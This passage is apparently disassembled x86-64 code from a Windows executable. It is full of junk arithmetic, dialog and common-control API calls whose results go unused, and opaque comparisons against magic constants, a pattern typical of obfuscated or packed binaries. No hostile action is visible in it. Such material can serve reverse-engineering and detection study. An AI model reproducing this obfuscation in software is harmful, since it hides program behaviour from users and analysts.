mov byte [rsp + 0x2b2], al
movsx eax, byte [rsp + 0x4df]
shl eax, 5
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
sar eax, cl
mov word [rsp + 0x2a2c], ax
lea rcx, [rsp + 0x1e5b0]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x6c14], eax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0x9b60]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xccf8], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
and eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x63c8]
shl eax, 0xd
mov dword [rsp + 0x63c8], eax
movzx eax, byte [0x14019ef90]
sar eax, 3
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4e0]
sub eax, 0x1e
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x63c8]
sub eax, 0x18aa957f
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x6bd0]
add eax, 0xfcae
mov dword [rsp + 0x6bd0], eax
lea rcx, [rsp + 0x1e8d0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xce38], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov word [0x14019ef94], ax
mov eax, dword [rsp + 0x6bd0]
shl eax, 0xc
mov dword [rsp + 0x6bd0], eax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4e0]
sar eax, 3
mov byte [rsp + 0x4df], al
movsx eax, byte [rsp + 0x4e0]
and eax, 0x1b
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x6bd0]
xor eax, 0x7ec8
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
movsx eax, byte [rsp + 0x4e0]
shl eax, 5
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xccf8]
or rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x6c14], eax
movzx eax, byte [0x14019ef90]
add eax, 0xed
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x6bf8]
add eax, 0x61
mov dword [rsp + 0x6bf8], eax
lea rcx, [rsp + 0x20890]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x6bbc], eax
lea rcx, [rsp + 0x1e600]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x6bc8], eax
movsx eax, byte [rsp + 0x4e0]
add eax, 0x27
mov byte [rsp + 0x4df], al
jmp 0x1400178f9
movsx eax, byte [rsp + 0x4df]
add eax, 0x4e
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
add eax, 0xc51f
mov dword [rsp + 0x6bd0], eax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd0]
shl eax, 0xb
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
xor eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
movsx eax, byte [rsp + 0x4e0]
sub eax, 0x28
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x6bd0]
shr eax, 0xe
mov dword [rsp + 0x6bd0], eax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0xcdc8]
movzx ecx, al
mov rax, qword [rsp + 0x9b60]
shl rax, cl
mov qword [rsp + 0xccf8], rax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
movsx eax, byte [rsp + 0x4e0]
add eax, 0x63
mov byte [rsp + 0x4df], al
movzx eax, byte [rsp + 0x2b2]
add eax, 0x97
mov byte [0x14019ef90], al
lea rcx, [rsp + 0x1e920]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0xce40], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0x9b60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
lea rcx, [rsp + 0x1f3f0]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6bb8], eax
mov eax, dword [rsp + 0x6bd0]
and eax, 0xecef
mov dword [rsp + 0x6bd0], eax
mov eax, dword [rsp + 0x6bd0]
xor eax, 0xb56d
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [rsp + 0x4e0]
sar eax, 3
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
shl eax, cl
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x6bd0]
or eax, 0x530c
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov eax, dword [rsp + 0x6bec]
add eax, 0x16
mov dword [rsp + 0x6bec], eax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
shl eax, cl
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4e0]
sar eax, 5
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov eax, dword [rsp + 0x6bd0]
add eax, 0xd480
mov dword [rsp + 0x6bd0], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
xor eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movzx eax, byte [0x14019ef90]
sar eax, 1
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [0x14019ef94]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4e0]
add eax, 0x10
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, byte [rsp + 0x4df]
shl eax, 7
mov byte [rsp + 0x4e0], al
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
or eax, ecx
mov word [rsp + 0x2a2c], ax
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
sar rax, cl
mov qword [rsp + 0xccf8], rax
mov r8w, 0xd3
mov rdx, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xce48]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x2a30], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0xcdc8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [0x14019ef94]
and eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
cmp dword [rsp + 0x6bec], 0x63cd
jbe 0x140017cf6
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x6c18], eax
cmp dword [rsp + 0x6c18], 0x13956a81
je 0x1400181c1
jmp 0x1400182ca
mov rax, qword [rsp + 0xce08]
movzx eax, word [rax]
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xccf8]
mov qword [rsp + 0xce50], rax
cmp qword [rsp + 0xce50], 0
je 0x14001820c
movabs rax, 0x70be0133753d40
cmp qword [rsp + 0xce50], rax
je 0x1400182a5
jmp 0x1400182c5
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x4e0]
xor eax, ecx
mov byte [rsp + 0x346], al
mov dword [rsp + 0x6c1c], 0x300b
mov dword [rsp + 0x6c20], 0xf93e
lea rcx, [rsp + 0x1f460]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x6c14], eax
mov eax, dword [rsp + 0x6bd0]
mov dword [rsp + 0x6c24], eax
mov rax, qword [section..data]
mov qword [rsp + 0xce58], rax
lea rax, [rsp + 0x2b2]
mov qword [rsp + 0xce60], rax
mov eax, dword [rsp + 0x63c8]
cdq
mov ecx, 0x58509f8
idiv ecx
mov dword [rsp + 0x5938], eax
movzx eax, word [rsp + 0x2a2c]
mov word [rsp + 0x2a38], ax
jmp 0x1400182c5
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
jmp 0x140018433
mov eax, dword [rsp + 0x6c24]
mov dword [rsp + 0x6c28], eax
cmp dword [rsp + 0x6c28], 0x1ebc
je 0x140018418
cmp dword [rsp + 0x6c28], 0x3571
je 0x1400182fb
jmp 0x140018433
mov rax, qword [rsp + 0xce58]
shr rax, 0x80
cmp rax, qword [section..data]
ja 0x14001839b
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movabs rax, 0x78a943391a73b9
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4df]
or eax, ecx
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
shl eax, 9
mov dword [rsp + 0x6c24], eax
jmp 0x140018416
mov rax, qword [rsp + 0xce58]
shl rax, 0x7f
cmp rax, qword [section..data]
jbe 0x1400183cf
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a34], ax
jmp 0x140018416
imul eax, dword [rsp + 0x5938], 0x102aea33
cmp eax, dword [rsp + 0x63c8]
jne 0x1400183f8
mov eax, dword [rsp + 0x5938]
add eax, 0x1f2209d1
mov dword [rsp + 0x63c8], eax
jmp 0x140018416
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0x9b60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
jmp 0x140018433
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0x9b60]
mov qword [rsp + 0xce68], rax
cmp qword [rsp + 0xce68], 0
je 0x1400185fe
movabs rax, 0x7be5116b04e032
cmp qword [rsp + 0xce68], rax
je 0x14001846b
jmp 0x14017e3ad
mov eax, dword [rsp + 0x6bd0]
mov dword [rsp + 0x6c2c], eax
cmp dword [rsp + 0x6c2c], 0xd1f
je 0x14001849c
cmp dword [rsp + 0x6c2c], 0xc2c6
je 0x1400185e6
jmp 0x1400185f9
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
add eax, ecx
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x5938]
sub eax, 0x7ecda35e
mov dword [rsp + 0x63c8], eax
mov eax, dword [rsp + 0x6c24]
or eax, 0xa9b2
cmp eax, dword [rsp + 0x6bd0]
jne 0x140018504
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
jmp 0x1400185e4
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x4e0]
shl eax, cl
movsx ecx, byte [rsp + 0x346]
cmp eax, ecx
jge 0x14001857b
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
shl eax, cl
mov word [rsp + 0x2a2c], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a38]
or eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b60]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
sar rax, cl
mov qword [0x14019d008], rax
jmp 0x1400185e4
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
sar eax, cl
movsx ecx, word [rsp + 0x2a34]
movsx edx, word [rsp + 0x2a38]
and ecx, edx
cmp eax, ecx
jg 0x1400185c5
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2a2c]
sub eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
jmp 0x1400185e4
movabs rax, 0x7c05c3c7c79691
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
jmp 0x1400185f9
mov eax, dword [rsp + 0x6c24]
add eax, 0xb11e
mov dword [rsp + 0x6bd0], eax
jmp 0x14017e3ad
mov eax, dword [rsp + 0x63c8]
mov dword [rsp + 0x6c30], eax
cmp dword [rsp + 0x6c30], 0x13956a81
je 0x140018628
cmp dword [rsp + 0x6c30], 0x5e60d55d
je 0x140018666
jmp 0x140018687
lea rax, [rsp + 0x4e0]
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
add eax, ecx
mov word [rsp + 0x2a38], ax
lea rax, [rsp + 0x9b60]
mov qword [rsp + 0xce78], rax
jmp 0x140018687
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov dword [rsp + 0x6c34], 0xa334
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcdc8]
mov rax, qword [rax]
or rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcdc8]
shl rax, cl
mov qword [rsp + 0x9b60], rax
movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4df], al
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x63c8]
sar eax, 6
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov byte [rsp + 0x4df], al
mov eax, dword [rsp + 0x6bd0]
shr eax, 0x15
mov dword [rsp + 0x6c24], eax
mov rax, qword [section..data]
shl rax, 7
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a2c]
or eax, ecx
mov word [rsp + 0x2a34], ax
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a34]
sub eax, ecx
mov word [0x14019ef94], ax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0x4fb2
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0x9b60]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xccf8], rax
movabs rax, 0x791acef094d616
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
add eax, ecx
mov byte [rsp + 0x346], al
mov eax, dword [rsp + 0x6c24]
add eax, 0x1f8a
mov dword [rsp + 0x6bd0], eax
mov eax, dword [rsp + 0x6c10]
sub eax, 0xc6
mov dword [rsp + 0x6c10], eax
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a2c]
and eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
xor eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
cmp dword [rsp + 0x6c10], 0x824f
jae 0x140018692
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xccf8]
shl rax, cl
mov qword [rsp + 0xaa88], rax
movabs rax, 0x751dcf0542086d
mov rcx, qword [rsp + 0xce58]
or rcx, rax
mov rax, rcx
mov qword [section..data], rax
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2b2], al
mov eax, dword [rsp + 0x63c8]
sub eax, 0x2ca3fe18
mov dword [rsp + 0x5938], eax
movabs rax, 0x7e15f458d824db
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4df]
shl eax, cl
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6c24]
or eax, 0x98a8
mov dword [rsp + 0x6bd0], eax
movsx eax, word [0x14019ef94]
movsx ecx, word [rsp + 0x2a38]
sar eax, cl
mov word [rsp + 0x2a34], ax
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4df], al
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xccf8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xccf8]
xor rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [0x14019ef94]
and eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
movsx eax, word [rsp + 0x2a34]
movsx ecx, word [rsp + 0x2a2c]
sar eax, cl
mov word [rsp + 0x2a38], ax
movsx eax, byte [rsp + 0x4df]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6c24]
or eax, 0xc6b7
mov dword [rsp + 0x6bd0], eax
movabs rax, 0x7c93e378e492ca
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
sub eax, ecx
mov word [rsp + 0x2a38], ax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [0x14019ef90]
shl eax, cl
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
or eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [rsp + 0x63c8]
sar eax, 0x1b
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0xccf8]
mov rcx, qword [rsp + 0xaa88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
mov r8d, 0xec
mov rdx, qword [rsp + 0xce40]
mov rcx, qword [rsp + 0xce40]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
movabs rax, 0x7d05668ac3d29f
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x346]
and eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov eax, dword [rsp + 0x6bd0]
xor eax, 0xfe1e
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
sar eax, cl
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xce80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xce80]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [0x14019d008]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e0]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
movsx eax, word [0x14019ef94]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcdc8], rax
movabs rax, 0x76626ee9ec9b70
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6c24]
or eax, 0x996f
mov dword [rsp + 0x6bd0], eax
movsx eax, byte [rsp + 0x4e0]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x346], al
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4df]
sar eax, cl
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [0x14019d008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
add eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b2]
xor eax, ecx
mov byte [0x14019ef90], al
movsx eax, word [rsp + 0x2a2c]
movsx ecx, word [rsp + 0x2a34]
and eax, ecx
mov rcx, qword [rsp + 0xce08]
mov word [rcx], ax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
shl eax, cl
mov byte [rsp + 0x4e0], al
movsx eax, byte [rsp + 0x4e0]
movsx ecx, byte [rsp + 0x4df]
or eax, ecx
mov byte [rsp + 0x346], al
mov eax, dword [rsp + 0x6bd0]
shr eax, 0x11
mov dword [rsp + 0x6c24], eax
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x346]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
movsx eax, word [rsp + 0x2a38]
movsx ecx, word [rsp + 0x2a34]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
mov eax, dword [rsp + 0x63c8]
add eax, 0x68069997
mov dword [rsp + 0x5938], eax
mov eax, dword [rsp + 0x6c00]
add eax, 0x2c
mov dword [rsp + 0x6c00], eax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0x9b60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xce78]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
or rcx, rax
mov rax, rcx
mov qword [0x14019d008], rax
cmp dword [rsp + 0x6c00], 0x10012
jb 0x14001888b
cmp dword [rsp + 0x6bb0], 0x25b5
jbe 0x140018fd3
mov rax, qword [rsp + 0xce78]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xaa88]
shl rax, cl
mov qword [rsp + 0xccf8], rax
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a2c], ax
movsx eax, byte [rsp + 0x346]
movsx ecx, byte [rsp + 0x4df]
and eax, ecx
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x6bd0]
xor eax, 0xc0cf
mov dword [rsp + 0x6c24], eax
movabs rax, 0x74680cb0001ba6
mov rcx, qword [section..data]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movzx eax, byte [rsp + 0x2b2]
movzx ecx, byte [0x14019ef90]
sub eax, ecx
mov rcx, qword [rsp + 0xce60]
mov byte [rcx], al
mov eax, dword [rsp + 0x63c8]
or eax, 0x789bbcda
mov dword [rsp + 0x5938], eax
movsx eax, word [rsp + 0x2a38]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a34], ax
mov rax, qword [rsp + 0xce58]
shr rax, 0x24
mov qword [section..data], rax
lea r9, [rsp + 0x2a30]
lea r8, [rsp + 0x1fb60]
lea rdx, [fcn.140181f10]
mov rcx, qword [rsp + 0xce38]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6c38], eax
mov eax, dword [rsp + 0x6bd0]
sub eax, 0x429a
mov dword [rsp + 0x6c24], eax
lea r9, [rsp + 0x6c08]
lea r8, [rsp + 0xcde8]
lea rdx, [fcn.140181f10]
mov rcx, qword [rsp + 0xce38]
call sub.COMCTL32.dll_Ordinal_411
mov dword [rsp + 0x6c14], eax
mov rax, qword [rsp + 0xcdc8]
mov rcx, qword [rsp + 0xccf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
movabs rax, 0x7e9c63eac4f752
mov rcx, qword [section..data]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
mov eax, dword [rsp + 0x6bb0]
sub eax, 0xdc
mov dword [rsp + 0x6bb0], eax
movsx eax, byte [rsp + 0x346]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4df], al
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x4e0]
add eax, ecx
